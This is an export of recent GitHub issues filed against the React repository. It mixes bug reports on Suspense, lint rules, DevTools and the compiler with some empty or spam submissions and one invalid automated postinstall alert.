facebook/react,4055723080,"[Fizz] Bug: Nested suspense boundary with suspended fallback: ""A previously unvisited boundary must have exactly one root segment""","There's a bug in a nested Suspense where the inner fallback itself suspends (via use() on a delay promise), and the inner content resolves before the fallback. Fizz mis-tracks boundary segments during the transition from ""pending with suspended fallback"" to ""completed.""

This is a useful pattern for when you want to create a `DeferredSuspense` boundary that blocks for a pre-set amount of time and then flushes. If the period passes and the children have not un-suspended, we flush the alternate boundary to the client.

I am aware this a cursed use of suspense, but it should be valid imo.


React version: 19.2.4

## Steps To Reproduce

1. `$ node nested-suspense-bug-repro.mjs`

Link to code example:

https://gist.github.com/switz/45d7c9f49953e11de7eec9d737841e2e#file-nested-suspense-bug-repro-mjs

## The current behavior

```
$ node nested-suspense-bug-repro.mjs
onError: A previously unvisited boundary must have exactly one root segment. This is a bug in React.
Bug triggered: A previously unvisited boundary must have exactly one root segment. This is a bug in React.
```

## The expected behavior

 When content resolves FAST (before ms):
  - No fallback is ever shown — content renders directly

  When content resolves SLOW (after ms):
  - For the first ms milliseconds, nothing visible changes (outer Suspense holds)
  - After ms, the fallback appears (inner Suspense fallback delay resolves, outer Suspense can now show its
   content which includes the pending inner boundary with i... [TRUNCATED]",Status: Unconfirmed,2026-03-11T04:33:59Z,2026-03-11T12:18:28Z,6
facebook/react,4055134856,Bug: why not Signal,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.why not Signal
2.why not Signal

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: why not Signal

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
why not Signal

## The expected behavior
why not Signal",Status: Unconfirmed,2026-03-11T01:34:12Z,2026-03-11T04:55:32Z,1
facebook/react,4054267193,Bug: False postive react-hooks/refs,"Since React 19 devs can pass `ref` directly as a prop (forwardref is not needed anymore) , but now `eslint-plugin-react-hooks` is complaining about valid code 


<img width=""1156"" height=""658"" alt=""Image"" src=""https://github.com/user-attachments/assets/19b68b28-c546-4066-8de1-54d663cda135"" />

---

React version: 19.1.1
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

```tsx
import type { Ref } from 'react';
import {
  StyleProp,
  TextInput as RNTextInput,
  TextInputProps,
  TextStyle,
} from 'react-native';

import { TextInput } from '../TextInput';

function TextArea(
  props: TextInputProps & {
    ref?: Ref<RNTextInput | null>;
    style?: StyleProp<TextStyle>;
  },
) {
  return (
    <TextInput
      ref={props.ref} // Eslint error: react-hooks/refs
      type=""body""
    />
  );
}

export { TextArea };

```

## The current behavior
Error 
`ref={props.ref} // Eslint error: react-hooks/refs`

## The expected behavior

No error, valid react 19 code 
",Status: Unconfirmed,2026-03-10T21:15:20Z,2026-05-16T17:28:18Z,7
facebook/react,4047584712,Bug: react-hooks/static-components false positive,"
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

1.Create react app
2. Add this `eslint-plugin-react-hooks` plugin 
3. Lint the next code

```tsx
import { FeatureRemovalBuildTime } from '@xxx/build-time-tools/FeatureRemovalBuildTime';
import { PlatformSwitchBuildTime } from '@xxx/build-time-tools/PlatformSwitchBuildTime';
import { isMyFeature } from '@xxx/config/exporter';
import ErrorMessageMT from './ErrorMessageMT';
import ErrorMessageBase from './ErrorMessageBase';

import type { ErrorMessageProps } from './types';

const ErrorMessage = (props: ErrorMessageProps) => {
  'use memo';

  const ErrorMessageView = PlatformSwitchBuildTime.select({
    anyMT:
      FeatureRemovalBuildTime.isMyFeature && isMyFeature()
        ? ErrorMessageMT
        : ErrorMessageBase,
    default: ErrorMessageBase,
  });

  return <ErrorMessageView {...props} />; // Error: react-hooks/static-components
};

export default ErrorMessage;

```

## The current behavior

Eslint will complain that `ErrorMessageView` was created during the render 

## The expected behavior

But all values inside if check are stable and valid as in this example: https://react.dev/reference/eslint-plugin-react-hooks/lints/static-components#valid
",Status: Unconfirmed,2026-03-09T19:52:41Z,2026-05-16T17:28:07Z,3
facebook/react,4034738936,Closed by author,This issue was opened in error and has been retracted.,,2026-03-06T15:15:45Z,2026-03-06T16:01:29Z,0
facebook/react,4017954987,[DevTools Bug]: confused on prerender pages and resulting in high-cpu usage loop,"### Website or app

example; https://yuri.twintail.org/chrome/prerendering/specrules.html

### Repro steps

Hello, I'm Takashi from Google Chrome team.

I've investigated high-cpu usage issue on prerendering, and noticed that the React Developer Tools seems to be a root cause.
The original report for the chromium project is here; https://crbug.com/478909972

Steps:
1. Install React Developer Tools Extension (from the Chrome Web Store)
2. Visit a page that uses specupationrules
3. Open Chrome's Task manager from ... > More tools >, and see CPU usages
4. Usage for the prerender pages shows higher CPU usages
5. Open DevTools
6. Prerender pages' CPU usages get much higher, and frame of the React Developer Tools spends almost 100%

This needs that the current page is accessible from the Extensions. e.g., they would not have a permission to touch the New Tab Page, and this doesn't happen there.

Also, this happens with Chrome UI triggered pretenders too. So, even if the page doesn't use the speculationrules, the problem could happen when users type something in the Omnibox, and Chrome has confidence on the next navigating page.

I suspect this is because the extension doesn't expect the Chrome's recent MPArch: Multi-Page Architecture, and is confused on multiple page navigations.
Here is a resource for the prerender and link for its impact on the Extension system.
[Prerender pages in Chrome for instant page navigations > Impact on extensions
](https://developer.chrome.com/docs/web-... [TRUNCATED]","Type: Bug,Component: Developer Tools",2026-03-03T17:47:53Z,2026-03-04T12:39:19Z,7
facebook/react,4009618705,[Compiler Bug]: react mutithread sync exception,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

react

### Repro steps

1.compiler wrong with math index unmatch.
2.compiler unable to exact to learn to write jvm.gc collect.
3.wrong design pattern of upload code.

### How often does this bug happen?

Every time

### What version of React are you using?

1.11

### What version of React Compiler are you using?

1.01","Type: Bug,Status: Unconfirmed",2026-03-02T06:48:44Z,2026-03-02T16:48:23Z,0
facebook/react,4009610350,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

yangliwen_peter

### Repro steps

1.Trigger dead lock.
2.loop until Long.MAX_VALUE overflow.
3.thread start from zero of array.

### How often does this bug happen?

Every time

### What version of React are you using?

2.10

### What version of React Compiler are you using?

2.00","Type: Bug,Status: Unconfirmed",2026-03-02T06:46:06Z,2026-03-02T16:48:11Z,0
facebook/react,4009603204,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2026-03-02T06:44:00Z,2026-06-09T23:31:02Z,8
facebook/react,4008767022,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-02T01:14:25Z,2026-03-02T04:24:34Z,2
facebook/react,4000550727,[DevTools Bug] Cannot read properties of null (reading 'ownerDocument'),"### Website or app

material-library.com

### Repro steps

1. open the site
2. clicked on the view all button for categories
3. scrolled the page and stopped recording
4. clicked timeline option

### How often does this bug happen?

Only once

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

7.0.1-3cde211b0c

### Error message (automated)

Cannot read properties of null (reading 'ownerDocument')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:919551
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:919824
    at commitHookEffectListMount (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:129924)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:142040)
    at recursivelyTraverseLayoutEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:157699)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:141997)
    at recursivelyTraverseLayoutEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:157699)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:141997)
    at recursivelyTraverseLayoutEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:157699)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmap... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-02-27T11:23:36Z,2026-03-05T15:52:25Z,0
facebook/react,3998083815,Bug: React does not recognize the `maskType` prop on a DOM element.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: `19.2.4`

## Steps To Reproduce

1. use the `maskType` prop on an svg
2. notice that the rendered mask element does not have the `mask-type` property set
and react prints a warning.


Related: https://github.com/facebook/react/issues/22850

https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/mask-type

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://codesandbox.io/p/sandbox/charming-meninsky-9rc5ln

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

react renders `<mask maskType=""...""></mask>`, and prints a warning

## The expected behavior

react renders `<mask mask-type=""...""></mask>`

",Status: Unconfirmed,2026-02-26T22:31:47Z,2026-02-27T12:41:23Z,0
facebook/react,3980978415,"Bug: `<link rel=""preload"" as=""font"" ...>` in RSC gets duplicated in SSR html","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: since 19.2.0 

## Steps To Reproduce

Created a PR with a test case as a reproduction in https://github.com/facebook/react/pull/35890

Initially reported on Waku https://github.com/wakujs/waku/issues/1964#issuecomment-3948147703. It doesn't reproduce on 19.1. It reproduces from 19.2 and latest canary.

## The current behavior

`<link rel=""preload"" as=""font"" ... />` appears twice in SSR html


## The expected behavior

`<link rel=""preload"" as=""font"" .../>` appears once in SSR html
","Status: Unconfirmed,Component: Server Rendering,Resolution: Stale",2026-02-24T01:28:58Z,2026-06-01T20:29:00Z,2
facebook/react,3975913553,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-02-23T01:39:41Z,2026-02-23T02:59:15Z,0
facebook/react,3972294161,Bug: ViewTransition onExit cleanup not called on unmount,"Noticed this while writing docs:

```js
<ViewTransition
  onEnter={(instance) => {
    const anim = instance.new.animate(/* ... */);
    return () => {
      anim.cancel();
    };
  }}
  onExit={(instance) => {
    const anim = instance.new.animate(/* ... */);
    return () => {
      anim.cancel();
    };
  }}
>
  {/* ... */}    
</ViewTransition>
```

If you have a pending`onEnter` animation and the tree is unmounted, the `onEnter` cleanup is called immediately.

But if you have a pending `onExit` and the tree is unmounted, the `onExit` cleanup isn't called until the animation completes.

This means you can't cancel the animation:

https://github.com/user-attachments/assets/f522f746-5ed3-432f-acbf-d610ab4260d2

Sandbox: https://codesandbox.io/p/sandbox/naughty-wu-pfkh2m


","Status: Unconfirmed,Resolution: Stale",2026-02-21T16:18:35Z,2026-06-08T20:55:48Z,5
facebook/react,3959830413,Bug: useDeferredValue gets stuck with a stale value,"Essentially, I see `useDeferredValue` being stuck and never catching up.

Not sure if it's possible to extract it out of a Next.js app. I think it's probably a React bug because it seems related to core APIs, but I couldn't simplify it past the ""render some JSX from server action"" repro case.

## Demo

Type ""hello world"".

In dev (`npm run dev`), the second text area catches up.

In prod (`npm run build + npm start`), the second text area often gets stuck and never catches up.

https://github.com/user-attachments/assets/a44f01ad-1a7d-4420-a6da-cadb277ded72

## Code

Here is a repro case: https://github.com/gaearon/react-udv-bug/

This is the main harness:

```js
export function TestPreviewClient() {
  const [promise, setPromise] = useState<Promise<ReactNode>>(initialPromise);
  const deferred = useDeferredValue(promise);

  function handleChange(value: string) {
    setPromise(renderAction(value));
  }

  return (
    <div style={{ padding: 16, fontFamily: ""monospace"" }}>
      <textarea
        placeholder=""type here""
        onChange={(e) => handleChange(e.target.value)}
        rows={3}
        style={{ width: ""100%"", fontFamily: ""monospace"" }}
      />
      <div
        data-testid=""deferred""
        style={{ border: ""1px solid #ccc"", padding: 8, minHeight: 40 }}
      >
        <Suspense fallback={<div>loading...</div>}>
          <Resolved promise={deferred} />
        </Suspense>
      </div>
    </div>
  );
}
```

Note these helpers:

```js
export function ClientWrap... [TRUNCATED]","Type: Bug,Component: Suspense",2026-02-18T21:15:25Z,2026-03-24T00:49:06Z,6
facebook/react,3958690392,Bug: Memory leak in attribute-behavior fixture - wrong variable cleared in componentWillUnmount,"###  Bug Description
In fixtures/attribute-behavior/src/App.js, the componentWillUnmount method has a bug where it checks for this.timeout but clears this.interval (which doesn't exist). This causes a memory leak where timeouts are never properly cleaned up on component unmount.

**Location:** fixtures/attribute-behavior/src/App.js:605

---

###  Code Analysis

**Current (Buggy) Code:**
componentWillUnmount() {
  if (this.timeout) {
    clearTimeout(this.interval); // ❌ Error: this.interval is undefined
  }
}

**Proposed Fix:**
componentWillUnmount() {
  if (this.timeout) {
    clearTimeout(this.timeout); // ✅ Correct: matches the variable being tracked
  }
}

---

###  Steps To Reproduce
1. Navigate to the fixtures/attribute-behavior directory.
2. Run the build and dev server:
   yarn build --type=UMD_DEV react/index,react-dom && cd fixtures/attribute-behavior && yarn install && yarn dev
3. Open the fixture in a browser.
4. Hover over a result cell to trigger onMouseEnter (which sets this.timeout).
5. Unmount the component before the timeout fires (e.g., navigate away or close the tab).
6. Observe: The timeout is never cleared, which can lead to memory leaks or setState warnings on unmounted components.

---

###  Current Behavior
When the component unmounts, the code checks for this.timeout but calls clearTimeout(this.interval). Since this.interval is undefined, the actual timer remains active, potentially causing ""cannot update state on an unmounted component"" warnings.

#... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-02-18T16:25:06Z,2026-05-30T19:32:30Z,2
facebook/react,3944846869,Bug: Malformed `private` field in react-devtools-fusebox package.json,"**Bug: Malformed `private` field in react-devtools-fusebox package.json**

Current Behavior

The `package.json` file for `react-devtools-fusebox` uses a **string** for the `private` field instead of a **boolean**:

**Location** [`[packages/react-devtools-fusebox/package.json](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)`](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)

```json
{
  ""private"": ""true"",  //  Should be: ""private"": true
}
```

### Expected Behavior

According to the [[npm package.json specification](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private)](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private), the `private` field must be a **boolean**, not a string:

```json
{
  ""private"": true,  // Correct
}
```

### Impact

This causes failures in package scanning tools that validate package metadata:

-  **ScanCode.io** pipeline fails when scanning `pkg:github/facebook/react@v19.2.1`
- Type validation error: `'""true"" value must be either True or False.'`
- Non-compliant with npm specification

**Related upstream issues:**
- [[aboutcode-org/scancode.io#1986](https://github.com/aboutcode-org/scancode.io/issues/1986)](https://github.com/aboutcode-org/scancode.io/issues/1986) - Pipeline failure report
- [[aboutcode-org/scancode-toolkit#4631](https://github.com/aboutcode-org/scancode-toolkit/issues/4631)](https://github.com/aboutcode-org/scancode-toolkit... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-02-15T20:26:07Z,2026-05-30T19:32:32Z,6
facebook/react,3936967186,Bug: 404 Error on 'JSX Example HTML File' Link,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1. Go to [React official documentation](https://ko.legacy.reactjs.org/docs/add-react-to-a-website.html)
 page.
2. Click on the ""JSX를 사용한 예시 HTML 파일"" (JSX example HTML file) link.
3. A 404 error page appears.

Link to code example:
- URL of the documentation page: https://ko.legacy.reactjs.org/docs/add-react-to-a-website.html

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
Clicking on the ""JSX를 사용한 예시 HTML 파일"" link results in a 404 error page instead of the expected HTML example file.

The HTML file that should be displayed is not loading.


## The expected behavior
When clicking the link, the expected JSX example HTML file should be displayed properly.
",Status: Unconfirmed,2026-02-13T12:35:11Z,2026-02-21T23:05:18Z,2
facebook/react,3933572174,[react-compiler-healthcheck] Add --verbose to list components that failed compilation,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

N/A — feature request.

### Repro steps

Healthcheck only prints ""Successfully compiled X out of Y components"" and does not show which components failed.

**Proposal:** Add a `--verbose` flag to print for each failed component:
- file path
- location (line/column when available)
- error reason

The data is already collected in `ActionableFailures` / `OtherFailures` in `reactCompiler.ts`; it only needs to be printed when the flag is set. That would make it possible to fix remaining violations and to trust the reported counts.

**Related:** #29078 (closed), #29677 (open — ""how do I find the remaining components?"").

### How often does this bug happen?

Every time

### What version of React are you using?

19.2.4

### What version of React Compiler are you using?

babel-plugin-react-compiler@1.0.0 (via Expo SDK 54); react-compiler-healthcheck@19.1.0-rc.3","Type: Bug,Status: Unconfirmed",2026-02-12T19:17:39Z,2026-02-22T17:57:43Z,3
facebook/react,3930914904,Bug: <Activity /> does not behave as described in the official documentation.,"React version: 
v19.2.0

## Steps To Reproduce

1. Render `<Activity>Hello, World!</Activity>`
 ```jsx
   <Activity>
     Hello, World!
   </Activity>
```

2. Render `<Activity><ComponentThatJustReturnsText /></Activity>`
```jsx
const ComponentThatJustReturnsText = () => ""Hello, World!"";

<Activity>
  <ComponentThatJustReturnsText />
</Activity>
```

3. Regardless of whether the mode prop is provided or not, both plain text and components that return only text are rendered in the DOM.


Link to code example:
Reproducible with a minimal example using only React (no additional dependencies).

## The current behavior
Text-only children inside `<Activity />` are rendered correctly in the DOM.
- Passing a plain string (`""Hello, World!""`) directly works as expected.
- Passing a component that returns only a string also renders without issues.
- The `mode` prop still behaves correctly, and visibility changes are applied as expected.

## The expected behavior
### According to the official documentation:

> An Activity that just renders text will not render anything rather than rendering hidden text, 
because there’s no corresponding DOM element to apply visibility changes to. 
For example, <Activity mode=""hidden""><ComponentThatJustReturnsText /></Activity> will not produce any output in the DOM for const ComponentThatJustReturnsText = () => ""Hello, World!"";.

_Based on this description, text-only children should not produce any DOM output. However, in practice, they are rendered norm... [TRUNCATED]",Status: Unconfirmed,2026-02-12T10:01:08Z,2026-02-12T10:30:47Z,1
facebook/react,3930606279,[Compiler Bug]: react-compiler-runtime missing makeReadOnly/shouldInstrument/useContext_withSelector,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgAIIHYCGARgDYICiAtgJYAuAYjAggF4I77FlV0CSeYWjCiV8DCDADmCWjhIQA7ghgBhCHloIAHrQCCcRGDAAdPADMoeOLWrrMUMAnoQIACgAOMCO7ABKTMCmmJhw6oIBZi4ANJhEBDAAvpgAvPaOahratK4AsgCeGZo6vgDcQZhMtLB4mJEQvJTuJB5ePgB0WjF1MXEwpaYJpiBRIKHm1JIoINSNErK0ee7swJgACiRQktR4APLuNmGYSWZelJgA5HFECCQAtE2b27dMBNa3oY3UZDBoACbUgnOZTwplcgRqmAwH3cXwIBzwOQgvwQyEwxhABBIJHRA0wYDhALM1AQYDWGy2u32tgEpWG4AAFop+JoYIQSGAUGZMY4EkA

### Repro steps

1. Open the Playground repro link:
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgAIIHYCGARgDYICiAtgJYAuAYjAggF4I77FlV0CSeYWjCiV8DCDADmCWjhIQA7ghgBhCHloIAHrQCCcRGDAAdPADMoeOLWrrMUMAnoQIACgAOMCO7ABKTMCmmJhw6oIBZi4ANJhEBDAAvpgAvPaOahratK4AsgCeGZo6vgDcQZhMtLB4mJEQvJTuJB5ePgB0WjF1MXEwpaYJpiBRIKHm1JIoINSNErK0ee7swJgACiRQktR4APLuNmGYSWZelJgA5HFECCQAtE2b27dMBNa3oY3UZDBoACbUgnOZTwplcgRqmAwH3cXwIBzwOQgvwQyEwxhABBIJHRA0wYDhALM1AQYDWGy2u32tgEpWG4AAFop+JoYIQSGAUGZMY4EkA

2. In the compiled output, note that compiler-emitted code imports helpers from react-compiler-runtime (for example makeReadOnly / shouldInstrument / useCont... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-02-12T08:51:53Z,2026-02-12T22:03:32Z,3
facebook/react,3924918051,"Bug: react-reconciler v0.33+ in dev mode emits performance info which is not correctly cleaned up, leading to OOM errors","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.4

## Steps To Reproduce

Full steps are in this thread: https://github.com/vadimdemedes/ink/issues/869

Short version is when using react-reconciler in dev mode, do something that causes frequent rerenders. 
Eventually it will OOM.

<img width=""3091"" height=""818"" alt=""Image"" src=""https://github.com/user-attachments/assets/57a33f6b-10eb-4030-856b-94ec6893049b"" />

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/rmaclean/ink-memory-leak

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

react-reconciler v0.33+ emits performance.measure() entries on every commit for profiling purposes.
these are not properly cleaned up, so will not be properly GC'd away
overtime, these will lead to an ... [TRUNCATED]",Status: Unconfirmed,2026-02-11T06:14:04Z,2026-02-19T05:37:52Z,2
facebook/react,3922260890,"Bug: ReactProfilerTimer transition timers are global, causing conflicts with concurrent transitions","## Description
The `ReactProfilerTimer.js` module currently uses a set of global variables (`transitionStartTime`, `transitionUpdateTime`, `transitionUpdateType`, etc.) to track performance metrics for transitions.

This implementation assumes only one transition is being tracked at a time. However, with concurrent rendering, multiple transitions can be in progress simultaneously in different lanes.

There is an explicit TODO in the code acknowledging this issue:

```javascript
// packages/react-reconciler/src/ReactProfilerTimer.js

// TODO: This should really be one per Transition lane.
export let transitionClampTime: number = -0;
export let transitionStartTime: number = -1.1; // First startTransition call before setState.
export let transitionUpdateTime: number = -1.1; // First transition setState scheduled.
```
## Impact
When multiple concurrent transitions occur, the following issues arise:

1. **Data Overwrites:** Concurrent transitions will overwrite each other's timing data in these global variables.
2. **Inaccurate Profiling:** `ReactFiberWorkLoop` will read incorrect start/update times, leading to inaccurate performance profiling data.
3. **Race Conditions:** It may cause race conditions where the wrong transition's data is logged or used for heuristics.

## Proposed Solution
Refactor `ReactProfilerTimer.js` to avoid global state for transition timings.

* **Structure:** Store transition timing data in a structure keyed by the transition lane, such as `Map<Lane, Tran... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-02-10T15:58:05Z,2026-05-18T17:01:38Z,2
facebook/react,3915417119,Bug: [eslint-plugin-react] Compatibility issue with ESLint 10.x.x,"It appears that `eslint-plugin-react` is not compatible with `ESLint` version 10.x.x.
When attempting to use `eslint` 10.x.x with eslint-plugin-react, I encounter dependency resolution issues, specifically that the plugin does not support ESLint 10.

React version: `19.2.4`

## Steps To Reproduce

1. Install `eslint` 10.x.x along with `eslint-plugin-react@7.37.5`.
2. Install dependencies
3. Encounter peer dependency conflict or related errors.

## The current behavior
- Peer dependency conflicts or errors occur during installation or usage of ESLint 10 with this plugin.

## The expected behavior
- `eslint-plugin-react` should support ESLint 10.x.x without errors.",Status: Unconfirmed,2026-02-09T09:36:44Z,2026-02-17T22:08:22Z,7
facebook/react,3913642800,Bug: Initialize transition start time in startTransition and startGestureTransition,"## Description
Currently, calls to `startTransition` and `startGestureTransition` in `packages/react/src/ReactStartTransition.js` initialize `currentTransition.startTime` to `-1`. There is a TODO comment indicating that this should read the timestamp.

The timestamp is currently lazily set in `ReactFiberWorkLoop.js` when an update is scheduled. This behavior differs from `useTransition`, which correctly sets the start time immediately.

This issue proposes to:

1. Initialize `startTime` using `performance.now()` (falling back to `Date.now()`) directly in `startTransition` and `startGestureTransition`.
2. Remove the lazy initialization logic in `ReactFiberWorkLoop.js`.

This ensures the timestamp accurately reflects when the transition was started, even if updates are processed later.

## Relevant Files
* `packages/react/src/ReactStartTransition.js`
* `packages/react-reconciler/src/ReactFiberWorkLoop.js`

## Steps to Reproduce (or verify)
1. Enable `enableTransitionTracing`.
2. Inspect `currentTransition.startTime` immediately after creating a transition via `startTransition`. Ideally, it should hold a valid timestamp instead of `-1`.","Status: Unconfirmed,Resolution: Stale",2026-02-08T21:46:53Z,2026-05-16T22:18:51Z,2
facebook/react,3912455304,[DevTools Bug]: string listing,"### Website or app

Amazon package 📦 🤗 ☺️ pvt ltd. Com

### Repro steps

Tulsi das sahani 

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text
Hiiii
```

### Error component stack (automated)

```text
Hindi
```

### GitHub query string (automated)

```text
Bahadurganj
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-02-08T10:06:20Z,2026-02-08T12:20:47Z,0
facebook/react,3901555437,[invalid][potential Security Alert] New `postinstall` script added in `pkgnewfefame1@3.2.1`,"
A new `postinstall` script was detected in version `3.2.1` of the package `pkgnewfefame1`.

**Script content:**
```
node scripts/setup.js
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert) if you want to improve the algorythm open a pull request 
This could be a security risk. Please investigate.
",invalid,2026-02-05T13:21:13Z,2026-02-05T13:43:33Z,0
facebook/react,3901152864,Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.,"já desinstalei e instalei o chrome e toda hora da esse erro.  não tem nenhuma extensão instalada, o tradutor esta desabilitado.  tentei no firefox, edge e toda hora da o mesmo erro. não consigo fazer nada no meu produto. 
Pode me ajudar?

Desculpe! Uma extensão do navegador pode ter causado um erro.

